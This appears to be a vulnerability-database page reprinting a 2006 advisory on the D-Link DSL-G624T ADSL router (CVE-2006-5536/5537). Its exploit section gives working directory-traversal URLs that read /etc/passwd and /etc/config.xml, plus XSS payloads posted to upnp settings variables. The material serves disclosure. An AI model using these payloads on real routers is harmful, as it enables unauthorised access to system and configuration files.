D-Link DSL-G624T several vulnerabilities

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1053112 漏洞类型
发布时间 2006-10-28 更新时间 2006-10-28
CVE编号 CVE-2006-5537
CVE-2006-5536
CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2006100143
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
D-Link DSL-G624T ADSL Router is vulnerable to several securities.

Directory transversal
http://router/cgi-bin/webcm?getpage=/./././././././etc/passwd

http://router/cgi-bin/webcm?getpage=/./././././././etc/config.xml

Cross Site Scripting
Url:: http://router/cgi-bin/webcm
Method:: POST
Variable:: upnp%3Asettings%2Fstate
Value:: >"><ScRiPt%20%0a%0d>alert(20102006)%3B</ScRiPt>

Url:: http://router/cgi-bin/webcm
Method:: POST
Variable:: upnp%3Asettings%2Fconnection
Value:: >"><ScRiPt%20%0a%0d>alert(20102006)%3B</ScRiPt>

Url:: http://router/cgi-bin/webcm
Method:: POST
Variable:: upnp%3Asettings%2Fconnection
Value:: "+onmouseover="alert(20102006)

Directory listing
Is possible to list the /cgi-bin directory

Tested on D-Link DSL-G624T
Version: Firmware Version : V3.00B01T01.YA-C.20060616

Discovered by:

Jos Ramn Palanco: jose.palanco(at)eazel(dot).es

http://www.eazel.es

Original advisory:
http://www.eazel.es/advisory005-D-Link-DSL-G624T-directoy-transversal-xs
s-cross-site-scripting-directory-listing-vulnerabilities.html